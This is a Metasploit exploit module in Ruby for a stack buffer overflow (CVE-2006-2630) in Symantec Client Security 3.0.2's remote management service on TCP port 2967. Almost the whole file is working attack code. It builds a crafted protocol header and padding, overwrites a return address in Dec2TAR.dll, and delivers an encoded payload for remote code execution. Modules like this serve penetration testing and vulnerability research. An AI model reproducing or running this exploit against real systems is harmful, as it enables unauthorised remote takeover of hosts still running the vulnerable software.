##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Remote Management Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
        This module has only been tested against Symantec Client Security 3.0.2
        build 10.0.2.2000.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-2630'],
          ['OSVDB', '25846'],
          ['BID', '18107'],
          ['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
        ],
      'Privileged'     => true,

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 24 2006'))

    register_options(
      [
        Opt::RPORT(2967)
      ], self.class)
  end

  def exploit
    connect

    header =  "\x01\x10\x0a\x20\x0a\x00\x00\x00"
    header << "\x02\x18\x00\x01\x00\x00\x00\x00"
    header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
    header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"

    crufta =  rand_text_alphanumeric(512)
    cruftb =  rand_text_alphanumeric(514)
    cruftc =  payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
    cruftd =  rand_text_alphanumeric(495)

    cruftd[479, 2] = "\xeb\x06"
    cruftd[483, 4] = [target.ret].pack('V')
    cruftd[487, 5] = [0xe8, -1000].pack('CV')

    cruftd << rand_text_alphanumeric(21)
    crufte =  rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
    crufte << rand_text_alphanumeric(504) + "\x00\x00"

    overflow =  [ crufta.length ].pack('v') + crufta
    overflow << [ cruftb.length ].pack('v') + cruftb
    overflow << [ cruftc.length ].pack('v') + cruftc
    overflow << [ cruftd.length ].pack('v') + cruftd
    overflow << [ crufte.length ].pack('v') + crufte

    sploit = header + overflow

    print_status("Trying target #{target.name}...")
    sock.put(sploit)

    handler
    disconnect
  end

end
